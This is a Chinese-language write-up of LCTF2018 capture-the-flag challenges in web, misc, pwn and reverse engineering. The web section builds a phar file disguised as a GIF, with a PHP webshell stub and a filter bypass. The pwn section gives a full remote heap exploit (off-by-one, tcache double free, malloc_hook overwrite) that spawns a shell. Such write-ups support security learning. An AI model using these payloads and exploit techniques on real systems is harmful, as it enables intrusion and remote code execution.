LCTF2018 WriteUp

招新小廣告

ChaMd5 ctf組 長期招新

尤其是reverse+pwn+合約的大佬

歡迎聯繫[email protected]

Web

bestphp's revenge

T4lk 1s ch34p,sh0w m3 the sh31l

解題思路 初步分析:

  1. 進⼊http://212.64.7.171/LCTF.php
  2. 代碼神似hitcon2017的Baby^H-master-php,區別點如下: a. 去年的有Admin類考了隨機數,⽽本題沒有,於是難度沒那麼⾼。 b. 去年的upload沒有過濾。 c. 本題多了check()和move(),解題的關鍵點所在。 d. move()可以進⾏複製,源地址被過濾太多,⽽⽬的地址存在⽬錄穿越漏洞,但很可惜 前⾯被拼接了字符串,以⾄於不能使⽤phar:// e. check()也是過濾很多,⽽且使⽤了getmagezie()函數,其實⽆所謂什麼函數,能使⽤ phar協議來進⾏反序列化即可。
  3. 題⽬提示:The only way you can get the flag is to use grep to check all the folders in the /

突破⼝: check()函數過濾沒其他的嚴格

if(preg_match('/^(ftp|php|zlib|data|glob|phar|ssh2|rar|ogg|expect) (.|\\s)*|(.|\\s)*(file)(.|\\s)*/i',$_GET['c'])){

這⾥⾯是使⽤了^字符,⽽本題其他函數的正則匹配皆沒有這個,於是這可能是個突破 ⼝。 可使⽤compress.zlib://phar://代替phar://從⽽繞過過濾。 ⽽phar的反序列化最多是包含⽂件,於是可以本身寫⻢,然後包含本身。

  1. 訪問下⽹址,獲取session值,解碼後得到其哈希值
  2. 本機php7編寫腳本如下
class K0rz3n_secret_flag {
  protected
$file_path="/var/www/data/17c21167f7a5e94737fc27b58e29e9e4/avatar.gif";
function __destruct(){
 if(preg_match('/(log|etc|session|proc|read_secret|history|class)/i', $this->file_path)){
   die("Sorry Sorry Sorry");
   }
   include_once($this->file_path);
 }
}
$phar = new Phar('avatar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php eval($_POST[p]);?>'.'<?php __HALT_COMPILER();?>');
$object = new K0rz3n_secret_flag();
$phar -> setMetadata($object);
$phar -> addFromString('test.txt','test');
$phar -> stopBuffering();
rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif');
  1. 運⾏後得到avatar.gif,上傳到⾃⼰的雲主機上
  2. 上傳
GET /LCTF.php?m=upload&url=http://103.229.127.139
  1. 命令執行

Misc

簽到題

洛必達?不不不

LCTF{5d7b9adcbe1c629ec722529dd12e5129}

你會玩osu!麼?

import Image
#"D:\Program Files\Wireshark\tshark.exe" -r usb.pcap -T fields -e usb.capdata > usb.txt
usbtxt = open('usb.txt', 'r').read()
usb = usbtxt.split('\n')
idx = 0
li1 = 0
li2 = 0
li3 = 0
mi1 = 0
mi2 = 0
width=1300
height=1000
bgcolor=(255,255,255)
im= Image.new('RGB',(width,height),bgcolor)
for u in usb:
  d = u.split(':')
  if 10 == len(d) and d[0] == '02':
    i0 = int(d[1], 16)
    i1 = (int(d[3], 16) << 8) | int(d[2], 16)
    i2 = (int(d[5], 16) << 8) | int(d[4], 16)
    i3 = (int(d[7], 16) << 8) | int(d[6], 16)
    i4 = (int(d[9], 16) << 8) | int(d[8], 16)
    if i1 > mi1:
      mi1 = i1
    if i2 > mi2:
      mi2 = i2
    li1 = i1
    li2 = i2
    pix=im.load()
    i=0
    i3%=256
    if idx > 3000:
      pix[i1//10,i2//10]=(0,0,0)#(i3,i3,i3)
      if idx % 100 == 0:
        im.save("out\\mapd.png"%idx)
    idx+=1
im.save("out\\mapd.png"%idx)
print idx,mi1,mi2

LCTF{OSU_1S_GUUUD}

PWN

easyheap

off by one:

if ( a2 )
{
  while ( 1 )
  {
    read(0, &a1[v3], 1uLL); 6 7
    if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
      break;
    ++v3;
  }
  a1[v3] = 0;
  a1[a2] = 0;
}

libc2.27->tcache 只能malloc(0xF8) 可以先填滿對應的tcache bin獲得unsorted bin 審錯了他的read過程,看成了

if ( a2 - 1 < (unsigned int)v3 || !a1[v3] || a1[v3] == '\n' )
  ++v3;
  break;

以爲會連續⽣成兩個"\x00",沒法bypass,(fd和bk只有末位是"\x00"),卡了好久。晚上回來重新看發現看錯了orz 剩下就是利⽤off by one覆蓋prev in use,使兩個堆塊發⽣合併,然後便可以有兩個索引指向同⼀個chunk。 ⽽後進⾏tcache的double free,使chunk分配到malloc hook,寫⼊one_gadget,再malloc⼀次 即可getshell

from pwn import *
def new(size,note):
  p.recvuntil("?\n> ")
  p.sendline("1")
  p.recvuntil("size \n> ")
  p.sendline(str(size))
  p.recvuntil("content \n> ")
  if size==0:
    return
  else:
    p.send(note)
def delete(index):
  p.recvuntil("> ")
  p.sendline("2")
  p.recvuntil("index \n> ")
  p.sendline(str(index))
context.log_level='debug'
p=remote("118.25.150.134",6666)
for i in range(10):
  new(0,"kirin\n")
for i in range(5):
  delete(9-i)
delete(3)
delete(1)
delete(2)
delete(0)
delete(4)
for i in range(7):
  new(0,"kirin\n")
new(0,"kirin\n")
new(0xf8,"\x00")
new(0,"kirin\n")
for i in range(6):
  delete(i+1)
delete(9)
delete(0)
p.recvuntil("?\n> ")
p.sendline("3")
p.recvuntil("index \n> ")
p.sendline("8")
s=p.recv(6)
libc_addr=u64(s.ljust(8,"\x00"))-0x3ebca0
print hex(libc_addr)
for i in range(8):
  new(0,"kirin\n")
delete(8)
delete(9)
new(0x10,p64(libc_addr+0x3ebc30))
new(0x10,"kirin\n")
for i in range(8):
  delete(i)
for i in range(8):
  new(0x10,p64(libc_addr+0x10a38c))
delete(0)
p.recvuntil("> ")
p.sendline("1")
p.interactive()

RE

去簽到吧朋友

在init中有對401E79的SMC和基於進程名檢查的反調試;401D90函數也是對401E79的 SMC。 輸⼊⻓度限制爲36字節。 將輸⼊分別以兩種⽅式遍歷(不管什麼⽅式,與解題關係不⼤,⼤概與樹有關);將兩種遍歷 結果分別進⾏加密或類似操作、結果與常量⽐較並校驗部分輸⼊遍歷前後的序號。兩種遍歷的 結果可以通過加密算法和最終的校驗數據得出,再加上序號的校驗,分別得出原始輸⼊前或後 部分,合在⼀起就能得到正確的原始輸⼊。 對第⼀種遍歷結果加密的加密算法是des,密鑰爲fa1conn,加密後結果⼜進⾏了算術運算。 可解⽅程得出加密串的前36字節,加上明⽂校驗的後4字節,得到完整加密串的hex值: 77afddee5cabcba362635c5d93180bfbc9174647b91d768eb6e3f5c7ac643479088e45f 9733cf57c z3解⽅程的代碼如下:

from z3 import *
def codesovle():
  v = []
  for i in range(36):
    v.append(BitVec('v%d'%i,32))
  cc = [23,65,24,78,43,56,59,67,21,43,45,76,23,54,76,12,65,43,89,40,32,67,73,57,23,45,31,54,31,52,13,24,54,65,34,24]
  res = [43666,49158,43029,51488,53397,51921,28676,39740,26785,41665,35675,40629,32311,31394,20373,41796,33452,35840,17195,29175,29485,28278,28833,28468,46181,58369,44855,56018,57225,60666,25981,26680,24526,38780,29172,30110]
  s = Solver()
  for i in range(6):
    for j in xrange(6):
     s.add(res[i+6*j] == v[6*j]*cc[i]+v[6*j+1]*cc[i+6]++v[6*j+2]*cc[i+12]+v[6*j+3]*cc[i+18]++v[6*j+ 4]*cc[i+24]++v[6*j+5]*cc[i+30])
  for i in range(36):
    s.add( ULE(v[i],0xff),UGE(v[i],0))
  if s.check() == sat:
    a = s.model()
    s = ''
    for i in range(36):
      s += chr(a[v[i]].as_long())
    print '[*]result:',
    print s.encode('hex')
    return
  print '[*]No result,end.'
if __name__ == '__main__':
  codesovle()

DES解密後得到:LC-+)=1234@AFETRS{the^VYXZfislrvxyz} 根據序號校驗,前18字節輸⼊在遍歷後的序號爲: 0,1,14,12,17,18,19,27,28,2,15,20,31,29,30,16,13,5 即得到前18字節輸⼊:LCTF{this-RevlrSE= 第⼆種遍歷結果的變換是異或,反解如下:

>>> c = [124,129,97,153,103,155,20,234,104,135,16,236,22,249,7,242,15,243,3,244,51,207,39,198,38,195,61,208,44,210,35,222,40,209,1,230]
>>> S = ''
>>> for i in range(36):
...   if i%2:
...     s+= chr(c[i]^0xaa)
...   else:
...     s += chr(c[i]^0xaa)
>>> s
')+4321A@=-EFCSRXZYV^ferlsihzyxvt}{TL' 

根據序號校驗,後18字節輸⼊在遍歷後的序號爲: 19,18,5,7,17,1,0,20,,29,28,27,15,16,4,3,2,32 得到後18字節的正確原始輸⼊:^V1@Y+)fAxyzXZ234} flag爲:LCTF{this-RevlrSE=^V1@Y+)fAxyzXZ234}

easy_vm

常規VM題,handler如下:

0x86: VM_push_imm(a1)
0x87: VM_push_reg(a1)
0x88: VM_mov_reg_with_addr(a1)
0x89: VM_mov_reg_with_reg_pointer(a1)
0x8A: VM_pop_reg(a1)
0x8B: VM_add_regs(a1)
0x8C: VM_sub_regs(a1)
0x8D: VM_mul_regs(a1)
0x8E: VM_div_regs(a1)
0x8F: VM_mod_regs(a1)
0x90: VM_xor_regs(a1)
0x91: VM_and_regs(a1)
0x92: VM_SET_FLAGS_with_reg(a1)
0x93: VM_inc_reg(a1)
0x94: VM_dec_reg(a1)
0x95: VM_mov_reg_with_imm(a1)
0x96: VM_mov_reg_with_reg_low(a1)
0x97: VM_mov_reg_with_ds(a1)
0x98: VM_SET_DS(a1)
0x99: VM_DS_INC(a1)
0x9A: VM_DS_ADD_4(a1) 22 23
0x9B: VM_CMP_REGS(a1)
0x9C: VM_JL(a1)
0x9D: VM_JG(a1)
0x9E: VM_JE(a1)
0x9F: VM_JNE(a1)
0xA0: VM_JMP(a1)
0xA1: VM_loop(a1)
0xA2: VM_nop(a1)
0xA3: return result;
default: VM_nop(a1)

VM上下⽂使⽤的數據結構如下:

00000000 VM_CFG   struc ; (sizeof=0x2048, mappedto_9)
00000000 _RAX     dq ?
00000008 _RBX     dq ?
00000010 _RDX     dq ?
00000018 _RCX     dq ?
00000020 _FLAGS   dq ?
00000028 _RIP     dq ?
00000030 _RDI     dq ?
00000038 _RBP     dq ?
00000040 _RSP     dq ?
00000048 mem      db 8192 dup(?)
00002048 VM_CFG   ends

對應的三段vm解析後爲:

rax rbx rdx rcx flags
-------check length--------
  mov rcx,0x1c
l2:
  mov rbx,byte[rdi]
  cmp rbx,rax
  je l1
  dec rcx
  inc rdi
  loop l2
l1:
  cmp rcx,rdx
  jne l3
  mov rax,1
l3:
  ret
-------compute---------
  mov flags,rax
  jne l1
  ret
l1:
  mov rax,0x80
  mov rdx,0x3f
  mov rcx,0x7b
  mov flags,0x1c
l3:
  mov rbx,byte[rdi]
  mul rbx,rdx
  add rbx,rcx
  mod rbx,rax
  mov byte[rdi],rbx
  inc rdi
  dec flags
  push flags
  mov flags,flags
  jne l2
  ret
l2:
  pop flags
  loop l3
  ret
-------check--------
  mov flags,rax
  jne l1
  ret
l1:
  push 0x3e
  push 0x1a
  push 0x56
  push 0x0d
  push 0x52
  push 0x13
  push 0x58
  push 0x5a
  push 0x6e 
  push 0x5c
  push 0x0f
  push 0x5a
  push 0x46
  push 0x07
  push 0x09
  push 0x52
  push 0x25
  push 0x5c
  push 0x4c
  push 0x0a
  push 0x0a
  push 0x56
  puxh 0x33
  push 0x40
  push 0x15
  push 0x07
  push 0x58
  push 0x0f
  mov rax,0
  mov rcx,0x1c
l4:
  mov rbx,byte[rdi]
  pop rdx
  cmp rbx,rdx
  je l2
  ret
l2:
  inc rdi
  dec rcx
  mov flags,rcx
  jne l3
  mov rax,1
  ret
l3:
  loop l4
  ret

反解如下:

>>> table = string.printable
>>> l1 = []
>>> for i in table:
...   l1.append((ord(i)*0x3f+0x7b)%0x80)
...
>>> l1
[75, 10, 73, 8, 71, 6, 69, 4, 67, 2, 90, 25, 88, 23, 86, 21, 84, 19, 82, 17, 80, 15, 78, 13, 76, 11, 74, 9, 72, 7, 70, 5, 68, 3, 66, 1, 122, 57, 120, 55, 118, 53, 116, 51, 114, 49, 112, 47, 110, 45, 108, 43, 106, 41, 104, 39, 102, 37, 100, 35, 98, 33, 26, 89, 24, 87, 22, 85, 20, 83, 18, 81, 16, 79, 14, 77, 12, 65, 0, 63, 126, 61, 124, 59, 96, 31, 94, 29, 92, 27, 64, 127, 62, 125, 91, 50, 113, 46, 48, 111]
>>> t1 = [0x3e,0x1a,0x56,0x0d,0x52,0x13,0x58,0x5a,0x6e,0x5c,0x0f,0x5a,0x46,0x07,0x0 9,0x52,0x25,0x5c,0x4c,0x0a,0x0a,0x56,0x33,0x40,0x15,0x07,0x58,0x0f][::-1]
>>> t1
[15, 88, 7, 21, 64, 51, 86, 10, 10, 76, 92, 37, 82, 9, 7, 70, 90, 15, 92, 110, 90, 88, 19, 82, 13, 86, 26, 62]
>>> for i in t1:
...   print table[l1.index(i)],
... 
l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }
>>> 'l c t f { H e 1 1 o _ V i r t u a l _ M a c h i n e ! }'.replace(' ','')
'lctf{He11o_Virtual_Machine!}'

想起「 Lunatic Game

這是⽤了 Glasgow Haskell Compiler麼。。。業務邏輯全在sub_402427中。遊戲的初始化, 勝負判斷,⼤概看下,勝利就輸出flag,且遊戲過程對最後flag輸出沒有影響,直接動態,遊 戲初始化後,跳到4023C8運⾏,直接輸出flag。


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章